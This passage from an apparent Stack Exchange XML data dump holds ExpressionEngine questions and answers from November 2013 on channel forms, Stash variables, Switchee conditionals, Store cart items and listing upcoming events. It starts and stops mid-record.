type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;cf_eventsEventField&quot;&amp;gt;Event Date&amp;lt;/label&amp;gt; &#xA;            {field:cf_eventsEventField}&#xA;&#xA;            &amp;lt;label for=&quot;cf_eventsLocation&quot;&amp;gt;Event Location&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;cf_eventsLocation&quot; id=&quot;cf_eventsLocation&quot; value=&quot;{cf_eventsLocation}&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;nofloats&quot;&amp;gt;&#xA;              &amp;lt;label for=&quot;cf_eventsPosterDownload&quot;&amp;gt;Event Poster File&amp;lt;/label&amp;gt;&#xA;              &amp;lt;p&amp;gt;A high quality pdf or jpg is preferred. Our board is 1024 X 1280px at 72dpi any other poster size may be modified to fit. This field is optional but your event is more likely to be included on the events board if it has a quality poster attached to it.&amp;lt;/p&amp;gt;&#xA;              {field:cf_eventsPosterDownload}  &#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;cf_eventsWebDescription&quot;&amp;gt;Event Description&amp;lt;/label&amp;gt; &#xA;            {field:cf_eventsWebDescription}&#xA;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;            {exp:stash:set name=&quot;saef_assets&quot;}{channel_form_assets}{/exp:stash:set}&#xA;          {/exp:channel:form}&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="28" LastEditDate="2013-11-05T16:57:23.247" LastActivityDate="2013-11-05T16:57:23.247" Title="Channel form file upload field displays oddly" Tags="|file-uploads|channel-form|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="15395" PostTypeId="2" ParentId="15369" CreationDate="2013-11-05T06:43:13.427" Score="2" Body="&lt;p&gt;See this post for info &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14204/matrix-2-5-8-update-database-error&quot;&gt;Matrix (2.5.8) update database error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like it is the same or similar problem. I had this once and the info there was enough to go into the database and sort out the issue.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-05T06:43:13.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15396" PostTypeId="1" AcceptedAnswerId="15397" CreationDate="2013-11-05T08:43:27.683" Score="1" ViewCount="76" Body="&lt;p&gt;I'm trying to display some information based on the category an entry is in, however I can't get my head around it… If the entry is in more than 1 category it'll still show the information, how do I make it work so if category_id is selected at all it'll not show the information? Here's my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;courses&quot; category=&quot;2&quot;}&#xA;  {categories show_group=&quot;2&quot;}&#xA;    {if category_id != &quot;2&quot;}&#xA;       {course_start-date format='%d %M %Y'}&#xA;    {/if}&#xA; {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1014" LastEditorUserId="28" LastEditDate="2013-11-05T17:12:38.363" LastActivityDate="2013-11-05T17:12:38.363" Title="Showing information based on an entries category" Tags="|conditionals|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15397" PostTypeId="2" ParentId="15396" CreationDate="2013-11-05T09:08:28.963" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;php (PHP Parsing Stage: ouput)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;courses&quot; category=&quot;2&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $excludefrom = '|{categories}{category_id}|{/categories}'; ?&amp;gt; &#xA;&amp;lt;?php if (substr_count($excludefrom, &quot;|2|&quot;) == 0){?&amp;gt; &#xA;      {course_start-date format='%d %M %Y'}&#xA;&amp;lt;?php } ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you can do the same using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; the same way with regex)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;update&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;courses&quot; category=&quot;2&quot;}&#xA;&#xA;   {if &quot;{categories show_group=&quot;2&quot;}2{/categories}&quot; != &quot;2&quot;}&#xA;      {course_start-date format='%d %M %Y'}&#xA;   {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-05T11:01:11.777" LastActivityDate="2013-11-05T11:01:11.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15398" PostTypeId="1" CreationDate="2013-11-05T10:03:47.323" Score="0" ViewCount="38" Body="&lt;p&gt;I have used exp stash to get entry ids. But the code is not working inside exp:channel&#xA;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;recently_viewed_ids&quot; output=&quot;no&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; } &#xA;  {exp:channel:entries channel=&quot;blog&quot;  sort=&quot;desc&quot;   disable=&quot;pagination&quot; entry_id=&quot;not 26|25&quot; }&#xA;    {entry_id}|&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:get name='recently_viewed_ids'}{/exp:stash:get}&lt;/code&gt; ---- working fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;  sort=&quot;desc&quot;  entry_id=&quot;not {exp:stash:get name='recently_viewed_ids'}{/exp:stash:get}&quot; }{entry_id}{/exp:channel:entries}&lt;/code&gt;&lt;br&gt;--- not working &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help?&lt;/p&gt;&#xA;" OwnerUserId="2126" LastEditorUserId="69" LastEditDate="2013-11-05T10:27:22.620" LastActivityDate="2013-11-05T10:27:22.620" Title="Stash not working while inside exp channel" Tags="|stash|channel|" AnswerCount="0" CommentCount="5" ClosedDate="2013-11-05T16:13:39.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="15399" PostTypeId="2" ParentId="15337" CreationDate="2013-11-05T10:18:56.217" Score="1" Body="&lt;p&gt;I came across a similar thing this week. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client had uploaded IMAGE.jpg and image.jpg and had chosen on to display in an entry. EE couldn't distinguish between them and no matter which was selected the uppercase image showed first. Servers (rightly) see them as two files - all paths being case sensitive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it appears EE 2+ doesn't see them as two images (in our case using a grid and file fields) so we've had to do some tinkering to get them to display (deleting or renaming then updating entry).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This dual naming issue with upper/lower case could be the reason possibly?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-11-05T10:18:56.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15400" PostTypeId="1" CreationDate="2013-11-05T10:30:05.433" Score="4" ViewCount="137" Body="&lt;p&gt;I have EE 2.7.2 and Store 2.0.4, wondering if anyone else have encountered this issue. I can't delete from cart items with a minimum qty set. However I can delete any other items without a min qty as I mentioned here &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14510/delete-from-store-cart&quot;&gt;Delete from Store Cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    next=&quot;shop/customer-details&quot;}&#xA;&#xA;    {items}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;input-mini item_qty&quot; /&amp;gt;              &#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;remove-product&quot;&amp;gt;Remove&amp;lt;/a&amp;gt; &#xA;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/items}&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.remove-product').click(function(){&#xA;        // click handler&#xA;        if (confirm(&quot;Are you sure?&quot;)) {&#xA;            $(this).parents('td').find('.item_qty').val('0');&#xA;            $(this).parents('tr').animate({ &quot;opacity&quot;: &quot;hide&quot; }, &quot;slow&quot;);&#xA;            $('#update_cart').click();&#xA;&#xA;            return false;&#xA;        }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="2178" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-11-07T19:08:40.733" Title="Delete Cart Items with Minimum Quantity" Tags="|expresso-store|ee2|delete|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15401" PostTypeId="2" ParentId="6513" CreationDate="2013-11-05T10:48:12.930" Score="3" Body="&lt;p&gt;In addition to the &lt;code&gt;{order_discount}&lt;/code&gt; variable (which displays the total amount discounted during checkout), Store 2.0.4 adds an &lt;code&gt;{order_you_save}&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{order_you_save}&lt;/code&gt; returns the total amount saved by ordering products which are on sale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_204&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html#store_204&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-05T10:48:12.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15403" PostTypeId="1" CreationDate="2013-11-05T12:47:41.470" Score="3" ViewCount="169" Body="&lt;p&gt;Can I set the entry ids to the same stash name multiple times?&#xA; ie, at one exp channel call , i will call &lt;code&gt;exp:stash:set name='x'&lt;/code&gt;. &#xA;Again I want the entry ids append to the same 'x' with another &lt;code&gt;exp:channel:entries&lt;/code&gt; call. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems it's not working if we call &lt;code&gt;exp:stash:set&lt;/code&gt; again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set  name=&quot;recently_viewed_ids&quot; replace=&quot;yes&quot; output=&quot;no&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; append=&quot;yes&quot;  }&#xA;  {exp:channel:entries channel=&quot;blog&quot;  dynamic=&quot;no&quot; backspace=&quot;1&quot;  entry_id=&quot;not 26|24&quot;}{entry_id}|{/exp:channel:entries}&#xA;{/exp:stash:set }&#xA;&#xA;{exp:stash:get name='recently_viewed_ids'}{/exp:stash:get}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs &lt;code&gt;23|22&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append name=&quot;recently_viewed_ids&quot;  }&#xA;  {exp:channel:entries channel=&quot;business&quot;  dynamic=&quot;no&quot; backspace=&quot;1&quot;  entry_id=&quot;8&quot;}{entry_id}|{/exp:channel:entries}&#xA;{/exp:stash:append }&#xA;&#xA;{exp:stash:get name='recently_viewed_ids'}{/exp:stash:get}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs &lt;code&gt;23|22&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="2126" LastEditorUserId="28" LastEditDate="2013-11-05T16:46:19.163" LastActivityDate="2013-11-06T16:13:11.127" Title="Call exp stash multiple times through multiple exp channel calls" Tags="|stash|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15405" PostTypeId="1" AcceptedAnswerId="15420" CreationDate="2013-11-05T13:16:19.160" Score="4" ViewCount="103" Body="&lt;p&gt;I'm developing a fieldtype add-on and within the fieldtype, I would like to include the option to let users choose Wygwam as the text element, if they have it installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some sort of a &quot;build&quot; method in Wygwam I can use within my fieldtype? Similar to the way the native RTE has the following, which you can use to initialize and assign it to text areas:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;rte_lib-&amp;gt;build_js(0, '.textarea_class', NULL, TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know if Wygwam has something similar, or anyone have experience in using Wygwam within their own fieldtype?&lt;/p&gt;&#xA;" OwnerUserId="286" LastEditorUserId="197" LastEditDate="2013-11-05T13:19:07.300" LastActivityDate="2013-11-05T17:28:01.990" Title="Initialize Wygwam within Custom Fieldtype" Tags="|pixelandtonic|wygwam|add-on-development|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15406" PostTypeId="2" ParentId="15393" CreationDate="2013-11-05T13:24:17.623" Score="6" Body="&lt;p&gt;While you can't actually parse the tag using your custom module, you can pass parameters to the channel module and run it. Here's a code sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function your_module_method()&#xA;{&#xA;    // Set the parameters for the channel:entries tag&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams['entry_id'] = $entry_ids;&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams['dynamic'] = 'no';&#xA;&#xA;    require_once(PATH_MOD.'channel/mod.channel.php');&#xA;&#xA;    // Instantiate channel module&#xA;    $ch = new Channel(); &#xA;&#xA;    // return the entries&#xA;    return $ch-&amp;gt;entries();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is that your module method will function exactly like a &lt;code&gt;exp:channel:entries&lt;/code&gt; tag  with the parameters set as you configure them.&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditDate="2013-11-06T13:18:36.837" LastActivityDate="2013-11-06T13:18:36.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15407" PostTypeId="2" ParentId="15345" CreationDate="2013-11-05T13:47:14.247" Score="0" Body="&lt;p&gt;In the end I used the Child Categories plugin to query all the child categories of a given parent, an feed that into the category=&quot;&quot; param in exp:channel:entries. Not very elegant but works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/child-categories&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/child-categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2013-11-05T13:47:14.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15408" PostTypeId="2" ParentId="11990" CreationDate="2013-11-05T13:56:55.893" Score="3" Body="&lt;p&gt;I managed to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem stemmed from an incorrect class name and missing a critical bit of code which inserted the necessary information into the extensions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to insert;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within the activate_extension method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension wasn't showing as 'Enabled' in the CP because the class name was 'FM_credits_from_entry_ext' with 2 capital letters at the start. Changing that to 'Fm_credits_from_entry_ext' fixed it and allowed access to the settings too.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-11-05T13:56:55.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15409" PostTypeId="1" AcceptedAnswerId="15415" CreationDate="2013-11-05T14:13:02.190" Score="4" ViewCount="276" Body="&lt;p&gt;This is a bit of a hard one to explain, but I will do my best. If you need any clarification just ask :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template that needs to display a list of 3 upcoming events, listed by date ascending (nearest first, farthest away last). I have this working with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news-article&quot; dynamic=&quot;no&quot; order_by=&quot;entry_date&quot; sort=&quot;asc&quot; category=&quot;1&quot; sticky=&quot;no&quot; show_future_entries=&quot;yes&quot;}&#xA;    {if '{entry_date format=&quot;%Y%m%d&quot;}' &amp;gt;= '{current_time format=&quot;%Y%m%d&quot;}'}&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {title}&#xA;                        &amp;lt;span class=&quot;time-block&quot;&amp;gt;{entry_date {long-date}}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this shows all future events, not just the closest 3. I have tried adding &lt;code&gt;limit=&quot;3&quot;&lt;/code&gt; to the channel entries tag but as there are past events, the conditional is never true so nothing shows at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried adding a PHP counter to it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $counter = 0; ?&amp;gt;&#xA;{exp:channel:entries channel=&quot;news-article&quot; dynamic=&quot;no&quot; order_by=&quot;entry_date&quot; sort=&quot;asc&quot; category=&quot;1&quot; sticky=&quot;no&quot; show_future_entries=&quot;yes&quot;}&#xA;    {if '{entry_date format=&quot;%Y%m%d&quot;}' &amp;gt;= '{current_time format=&quot;%Y%m%d&quot;}'}&#xA;        &amp;lt;?php if ($counter&amp;lt;3): ?&amp;gt;&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {title}&#xA;                        &amp;lt;span class=&quot;time-block&quot;&amp;gt;{entry_date {long-date}}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;            &amp;lt;?php $counter ++;&#xA;        endif; ?&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Parsing PHP on input still displays all results today or in the future, and parsing PHP on output displays nothing. Does anybody know how to get something like this working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2013-11-05T16:33:09.277" Title="PHP conditional inside EE conditional - parse order problem" Tags="|ee2|channel-entries|conditionals|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15410" PostTypeId="2" ParentId="15409" CreationDate="2013-11-05T14:23:51.400" Score="3" Body="&lt;p&gt;Not a solution to your specific question, but a solution to your general problem (how to display only upcoming events):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is exactly why I wrote &lt;a href=&quot;http://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;EEvent Helper&lt;/a&gt; years ago. The idea is that you set events to expire at the end of their event date, allowing you to easily pull just past events, or just upcoming events.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Upcoming Events --}&#xA;{exp:channel:entries channel=&quot;events&quot; show_future_entries=&quot;yes&quot; sort=&quot;asc&quot;}&#xA;&#xA;{!-- Past Events --}&#xA;{exp:channel:entries channel=&quot;events&quot; show_expired=&quot;yes&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The add-on is not required to do this, but it automates the setting of the expiration date, making it more client-friendly.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-05T14:23:51.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15411" PostTypeId="2" ParentId="15382" CreationDate="2013-11-05T15:11:55.717" Score="0" Body="&lt;p&gt;Try using EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{current_url}&lt;/code&gt;&lt;/a&gt; Standard Global Variable. I've successfully used this for the return parameter on the Member module login_form tag for exactly the same scenario you are describing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;{current_url}&quot;}&#xA;   ...&#xA;{/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-05T21:13:27.917" LastActivityDate="2013-11-05T21:13:27.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15412" PostTypeId="2" ParentId="15365" CreationDate="2013-11-05T15:38:02.507" Score="0" Body="&lt;p&gt;It appears to have been an issue with Matrix and P&amp;amp;T has pushed out a version that resolves this issue. In fact this is the only update according to their change log. Nice job P&amp;amp;T.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-11-05T15:38:02.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15413" PostTypeId="2" ParentId="15403" CreationDate="2013-11-05T15:59:19.333" Score="2" Body="&lt;p&gt;The reason your output on the second get is the same is because of parse order. If you set that get to run later with process=&quot;end&quot; it should show the combined result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name=&quot;recently_viewed_ids&quot; &#xA;    parse_tags=&quot;yes&quot; &#xA;    trim=&quot;yes&quot; &#xA;}&#xA;  {exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;Result 1: {exp:stash:get name='recently_viewed_ids'}&#xA;&#xA;&amp;lt;hr&amp;gt;&#xA;&#xA;{exp:stash:append &#xA;    name=&quot;recently_viewed_ids&quot;  &#xA;    parse_tags=&quot;yes&quot;&#xA;    trim=&quot;yes&quot;&#xA;}&#xA;  {exp:channel:entries channel=&quot;business&quot; dynamic=&quot;no&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}&#xA;{/exp:stash:append}&#xA;&#xA;Result 2: {exp:stash:get name='recently_viewed_ids' process='end'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, the first set doesn't need to be an append, and the second set needed a parse_tags parameter. The get also only needs a single tag not a tag pair, because it isn't set as a stash list.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Setting the ids as a list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;recently_viewed_ids&quot;&#xA;    parse_tags=&quot;yes&quot; &#xA;}&#xA;    {stash:ids_1}{exp:channel:entries channel=&quot;CHANNEL_1&quot; dynamic=&quot;no&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}{/stash:ids_1}&#xA;    {stash:ids_2}{exp:channel:entries channel=&quot;CHANNEL_2&quot; dynamic=&quot;no&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}{/stash:ids_2}&#xA;    {stash:ids_3}{exp:channel:entries channel=&quot;CHANNEL_3&quot; dynamic=&quot;no&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:channel:entries}{/stash:ids_3}&#xA;{/exp:stash:set_list}&#xA;&#xA;Result 1: {exp:stash:get_list name='recently_viewed_ids'}{ids_1}{/exp:stash:get_list}&#xA;&amp;lt;hr&amp;gt;&#xA;Result 2: {exp:stash:get_list name='recently_viewed_ids'}{ids_2}{/exp:stash:get_list}&#xA;&amp;lt;hr&amp;gt;&#xA;Result 3: {exp:stash:get_list name='recently_viewed_ids'}{ids_3}{/exp:stash:get_list}&#xA;&amp;lt;hr&amp;gt;&#xA;Result 1+2: {exp:stash:get_list name='recently_viewed_ids'}{ids_1}|{ids_2}{/exp:stash:get_list}&#xA;&amp;lt;hr&amp;gt;&#xA;Result 1+2+3: {exp:stash:get_list name='recently_viewed_ids'}{ids_1}|{ids_2}|{ids_3}{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-11-06T16:13:11.127" LastActivityDate="2013-11-06T16:13:11.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15414" PostTypeId="1" AcceptedAnswerId="15416" CreationDate="2013-11-05T16:16:38.547" Score="2" ViewCount="517" Body="&lt;p&gt;I am unable to get Switchee to work. I have installed the Switchee 2.0.6 with ExpressionEngine 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the conditional statement that I'd like to use, where &quot;champions&quot; is a custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if champions == &quot;team 3&quot;}&#xA;   &amp;lt;p&amp;gt;team 3&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is how I've incorporated Switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{champions}&quot; parse=&quot;inward&quot;}&#xA;    {case value == &quot;team 3&quot;}&#xA;        &amp;lt;p&amp;gt;team 3&amp;lt;/p&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My switchee statement shows nothing in my template in my browser. What am i doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-11-05T16:40:14.193" Title="How to use Switchee" Tags="|conditionals|plugin|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15415" PostTypeId="2" ParentId="15409" CreationDate="2013-11-05T16:28:00.927" Score="4" Body="&lt;p&gt;This is easily accomplished using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;start_on parameter&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the start_on date/time should be current time use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;events&quot; &#xA;    limit=&quot;3&quot; &#xA;    sort=&quot;asc&quot; &#xA;    start_on=&quot;{current_time format='%Y-%m-%d %H:%i'}&quot; &#xA;    show_future_entries=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If the start_on date/time should be dynamic, enable PHP in the template and set it to be parsed on &quot;input&quot;. This is the code you use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $current_time = ee()-&amp;gt;localize-&amp;gt;format_date('%Y-%m-%d %H:%i', ee()-&amp;gt;localize-&amp;gt;now - 3600);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the 3600 in the php code to whatever number you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;events&quot; &#xA;    limit=&quot;3&quot; &#xA;    sort=&quot;asc&quot; &#xA;    start_on=&quot;&amp;lt;?php echo $current_time; ?&amp;gt;&quot;&#xA;    show_future_entries=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-05T16:33:09.277" LastActivityDate="2013-11-05T16:33:09.277" CommentCount="2" ContentLicense="CC BY-SA 